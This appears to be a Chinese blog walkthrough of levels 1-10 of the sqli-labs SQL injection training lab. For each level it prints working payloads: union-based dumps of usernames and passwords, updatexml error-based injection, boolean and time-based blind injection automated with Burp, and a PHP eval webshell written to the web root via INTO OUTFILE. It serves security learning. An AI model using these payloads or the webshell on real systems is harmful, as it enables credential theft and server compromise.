zoukankan      html  css  js  c++  java
  • sqli-labs闯关1-10

    sqli-labs 1-10

    Less-1

    1、根据题目构造?id=1,页面回显出当前登录名和密码,再根据题目名就知道这是一个单引号字符型注入,加个单引号试试,发现页面回显不正常,并报错这是MySql数据库,再将单引号闭合发现页面回显又正常了,基本可以证明。

    2、知道是什么类型的注入之后,接着使用联合查询注入判断该表中有几列字段,当输入查询1或2个字段时出现错误信息。

    3、查询3个字段时恢复正常,查询4个时又报错,说明此表有3个字段。

    4、将id值改成一个数据库可能不存在的值,得到2、3两个显示位。

    5、在一系列查询之后,得到了用户名字段为username,密码字段为password,查询到所有的用户名和密码:
    'union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
    

    Less-2

    1、在输入两个单引号之后发现页面依然报错,考虑一下可能是数字型注入。

    2、输入1 and 1=1之后发现页面回显正常,输入1 and 1=2之后发现未有错误显示,于是判断是数字型注入。

    3、同样使用联合查询获取用户名和密码:
    0 union select 1,2,(select group_concat(username,"$",password) from security.users)+--+
    

    Less-3

    1、同Less-1的方法判断是字符型注入,不同的是闭合字符是单引号加括号。

    2、同样使用联合查询获取用户名和密码:
    ') union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
    

    Less-4

    1、同Less-1的方法判断是字符型注入,不同的是闭合字符是双引号加括号。

    2、同样使用联合查询获取用户名和密码:
    ") union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
    

    Less-5

    1、同Less-1的方法判断是字符型注入,只不过页面的显示好像有哪里不对?当输入1时显示如下。

    2、输入0时啥也没显示,说明页面没有显示位,无法使用联合查询方法注入。

    3、那么使用报错注入获取用户名和密码:
    'and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))='1
    
    因为报错函数updatexml限制了输出字符最长为32位,所以只能使用concat函数配合limit一个一个地输出。

    Less-6

    1、同Less-5是字符型注入且没有显示位,与之不同的是闭合字符是双引号。

    2、同样使用报错注入获取用户名和密码:
    "and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))="1
    

    Less-7

    1、反复试验之后发现闭合字符是一个单括号加两个小括号,然后可以看到页面上提示说Use outfile,就是使用outfile将一句话木马写入文件。

    2、首先尝试写入文件:
    -1')) union select 1,2,3 into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php"+--+
    
    但是发现并没有写入成功,说明还未获得文件写入权限。
    3、于是打开mysql命令行,输入:
    show variables like '%secure%';
    
    查看secure-file-priv 当前的值,可以看到当前值为NULL,接着打开phpstudy_proExtensionsMySQL5.7.26目录下的my.ini文件,插入一句话:
    secure_file_priv="/"
    

    4、保存之后重启phpstudy,再次在mysql命令行查看secure-file-priv 的值,此时Value里有内容了,说明修改成功,可以进行读写了。

    5、再次执行第2步,可以看到文件写入成功。

    6、试验成功之后就可以写入webshell了,已经知道编程语言是php,则可以使用一句话木马:
    <?php @eval($_POST['sql']);?>
    
    构造poc:
    -1')) union select 1,2,"<?php @eval($_POST['sql']);?>" into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\poc.php"--+
    

    7、可以看到写入成功了,此时打开Cknife连接成功。

    Less-8

    1、单引号尝试之后发现页面正确时显示You are in,非正常时啥也不显示,因此判断为布尔盲注,可以通过字符长度来判断真假,于是打开bp抓包,构造poc:
    1'+and+if(substr("nice",1,1)="e",1,0)--+
    
    此时页面啥也没显示

    但当输入正确时:
    1'+and+if(substr("nice",1,1)="n",1,0)--+
    
    页面回显正常,则可以使用if函数注入

    2、接下来构造获取数据库信息的poc:
    1'+and+if(substr(database(),1,1)="a",1,0)--+
    
    发送到Intruder,进行交叉爆破

    设置好payload之后开始爆破,排序一下可以看到得到的数据库名称

    Less-9

    1、已知该题是个时间盲注问题,那么尝试构造poc:
    1'+and+if(substr(database(),1,1)="a",sleep(5),sleep(1))--+
    
    2、像Less-8一样进行爆破,不过可以看到长度无任何变化,这时我们需要查看响应时间,点击最上面一栏的列字段,将接受响应计数勾上

    3、这时我们就能得到数据库名称了

    Less-10

    1、该题同Less-9一样是个时间盲注,不同的是闭合字符为双引号,构造poc:
    1"+and+if(substr(database(),1,1)="s",sleep(5),sleep(1))--+
    
  • 相关阅读:
    627. Swap Salary
    176. Second Highest Salary
    596. Classes More Than 5 Students
    183. Customers Who Never Order
    181. Employees Earning More Than Their Managers
    182. Duplicate Emails
    175. Combine Two Tables
    620. Not Boring Movies
    595. Big Countries
    HDU 6034 Balala Power! (贪心+坑题)
  • 原文地址:https://www.cnblogs.com/Iamyoyodan/p/12982547.html
Copyright © 2011-2022 走看看